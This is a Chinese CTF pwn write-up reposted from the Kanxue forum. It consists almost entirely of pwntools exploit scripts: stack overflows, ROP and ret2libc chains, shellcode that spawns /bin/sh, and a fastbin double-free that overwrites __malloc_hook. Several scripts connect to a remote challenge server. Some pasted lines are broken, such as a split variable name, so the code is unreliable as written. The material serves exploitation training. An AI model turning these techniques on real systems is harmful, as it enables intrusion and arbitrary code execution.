本文为看雪论坛优秀文章
看雪论坛作者ID:Nameless_a
from pwn import *
r=process('./stack')
r.sendline('a'*0x18+p64(0x4011dd))
r.interactive()
这道题思路很清晰,但是就是做的过程中出了三个问题。
ret=gadget_ret_addresspayload=p64(gadget_ret_address)*N+p64(ROP)(建议N卡个极限位置,不然服务器吃不消会直接滑下悬崖)
from pwn import *
r=remote("116.62.46.174",10010)
context.log_level='debug'
##r=process('./stack1')
elf=ELF('./stack1')
libc=ELF('./libc-2.31.so')
put_plt=elf.plt['puts']
put_got=elf.got['puts']
read_got=elf.got['read']
csu_front=0x401300
csu_end=0x401316
##print(hex(binsh))
pop_rdi_ret=0x401323
r.recvuntil('Input your name:')
payload1='a'*0x160+p64(0x0)+p64(pop_rdi_ret)+p64(put_got)+p64(put_plt)+p64(csu_e nd)+p64(0)+p64(0)+p64(1)+p64(0)+p64(0x4042a0)+p64(0x8000)+p64(read_got)+p64(csu_
front)+'a'*0x38
r.send(payload1)
r.recvuntil("Would you like to join 0RAYS?(Y/n)")
payload2='y'+'\x00'
payload2=payload2.ljust(0x10,'\x00')+p64(0x4040A0+0x160)+p64(0x4012b8)
##gdb.attach(r)
r.send(payload2)
r.recvuntil('Welcome to join us!\n')
##r.recvuntil('Welcome to join us!')
put_address=u64(r.recv(6).ljust(8,'\x00'))
##print(hex(put_address))
libc_base=put_address-libc.symbols['puts']
sysadress=libc_base+libc.symbols['system']
binsh=libc_base+libc.search('/bin/sh').next()
print(hex(put_address))
print(hex(binsh))
print(hex(sysadress))
payload3=p64(0x40101a)*128+p64(pop_rdi_ret)+p64(binsh)+p64(sysadress)
from pwn import *
##from LibcSearcher import *
from pwnlib.util.iters import mbruteforce
from hashlib import sha256
import base64
context.log_level='debug'
##context.terminal = ["tmux", "splitw", "-h"]
context.arch = 'amd64'
context.os = 'linux'
r=process('./code')
def add(con):
r.recvuntil(':')
r.send(con)
pd='''
add rdx , 0x10;
add eax , 0x3b;
push rdx;
'''
add(asm(pd))
pd='''
add rdx , 0x10;
xor rsi , rsi;
push rdx;
'''
add(asm(pd))
pd='''
add rdx , 0x10;
mov rdi , rdx;
push rdx;
'''
add(asm(pd))
pd='''
add rdi , 0x10;
xor rdx , rdx;
push rdi;
'''
add(asm(pd))
pd='''
add rdi , 0x10;
syscall;
'''
##gdb.attach(r)
add(asm(pd))
gdb.attach(r)
add('/bin/sh\x00')
r.interactive()
这个在俺的随笔里也有,但是俺今天复现的时候才发现俺只明白了字面意思。
from pwn import *
context.log_level='debug'
##r=process('./heap')
r=remote("116.62.46.174",30000)
libc=ELF('./libc-2.23')
def cho(num):
r.recvuntil("Your choice:")
r.sendline(str(num))
def add(id,si,con):
cho(1)
r.recvuntil("Idx:")
r.sendline(str(id))
r.recvuntil("Size:")
r.sendline(str(si))
r.recvuntil("Content?\n")
r.send(con)
def delet(id):
cho(2)
r.recvuntil("Idx:")
r.sendline(str(id))
def show(id):
cho(3)
r.recvuntil("Idx:")
r.sendline(str(id))
add(0,0x68,'a')
##gdb.attach(r)
add(1,0x68,'b')
##gdb.attach(r)
delet(0)
delet(1)
##gdb.attach(r)
delet(0)
add(0,0x68,p64(0x40403d))
add(1,0x68,'a')
add(0,0x68,'b')
##gdb.attach(r)
add(0,0x68,'a'*0x23+p64(0x403fa8))
##gdb.attach(r)
show(0)
libcbase=u64(r.recv(6).ljust(8,'\x00'))-libc.sym['free']
log.success("libcbase:"+hex(libcbase))
hook=libcbase+libc.sym['__malloc_hook']
add(0,0x68,'a')
add(1,0x68,'b')
delet(0)
delet(1)
delet(0)
add(0,0x68,p64(hook-0x23))
add(1,0x68,'a')
add(0,0x68,'b')
one=[0x45226,0x4527a,0xf03a4,0xf1247]
onegadget=one[3]+libcbase
add(0,0x68,'a'*0x13+p64(onegadget))
cho(1)
r.recvuntil("Idx:")
r.sendline(str(0))
r.recvuntil("Size:")
##gdb.attach(r)
r.sendline(str(0))
r.interactive()
from pwn import *
context.log_level='debug'
r=remote('116.62.46.174',20001)
##r=process('./secret')
libc=ELF('./libc-2.27.so')
r.recvuntil('I have 10 secrets, choice one to read?')
##gdb.attach(r)
r.sendline('-34')
r.recvuntil('The secret is ')
string=r.recvuntil('\n')[:-1]
print(string)
address=int(string)
##print(string)
##print(hex(string))
##address=int(string)
base=address-libc.symbols['puts']
##print(hex(address))
##print(hex(libc.symbols['puts']))
one_gadget=base+0x4f432 print(hex(one_gadget))
r.recvuntil("leave your secret")
##print(one)
payload= 0x38*'a' + p32(one_gadget)[:5]
r.send(payload)
r.interactive()
看雪ID:Nameless_a
https://bbs.pediy.com/user-home-943085.htm
# 往期推荐
5.CNVD-2018-01084 漏洞复现报告(service.cgi 远程命令执行漏洞)
6.Fuzz学习记录
球分享
球点赞
球在看
点击“阅读原文”,了解更多!